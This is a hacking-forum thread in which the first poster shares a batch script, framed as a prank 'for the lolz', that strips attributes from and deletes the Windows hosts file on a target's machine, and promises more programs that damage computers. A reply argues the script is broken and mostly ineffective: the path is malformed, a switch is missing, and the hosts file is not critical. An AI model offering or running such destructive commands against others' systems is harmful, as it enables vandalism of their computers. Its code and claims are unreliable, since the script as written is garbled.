Login Register






Destroy internet applications (for the lolz) filter_list
Author
Message
Destroy internet applications (for the lolz) #1
So, this is my first thread Biggrin and to start it off, I thought I would start publishing my collection of batch and vbs programs (most screw the hell out of a computer) so here's the first one!

What it does:
1. finds the files it's looking for in the target's drivers
2. finds the hosts
3. deletes everything (muahaha :trollSmile

Code:
Code:
cls @echo off cd WINDOWSSYSTEM32DRIVERSETC attrib hosts -r -h del hosts
WARNING: DO NOT USE ON YOUR OWN COMPUTER!!!!!
It's often the outcasts, the iconoclasts ... those who have the least to lose because they
don't have much in the first place, who feel the new currents and ride them the farthest.

Reply

RE: Destroy internet applications (for the lolz) #2
Im not convinced this will do anything. the hosts file is a useful file but to my knowledge it isnt a required file. the network stack should be able to function without it. By default the hosts file is unused - there is nothing critical in it.

And thats an odd looking directory. im a bit outdated on batch but dont you need to separate the directories. And wouldnt using a system variable to find the root directory be more cross compatible?

And i dont recall the hosts file being hidden or read only, so whats with the attrib command?

also, whats with @echo- doesnt it require an attribute such as on/off?

and doesnt the del take a full path? so why would you not just del %WinDir%\SYSTEM32\DRIVERS\ETC\hosts - And on top of that doesnt the del command by default prompt for confirmation of file deletion? i dont see any switches to disable this so a user would also have to confirm no?

Reply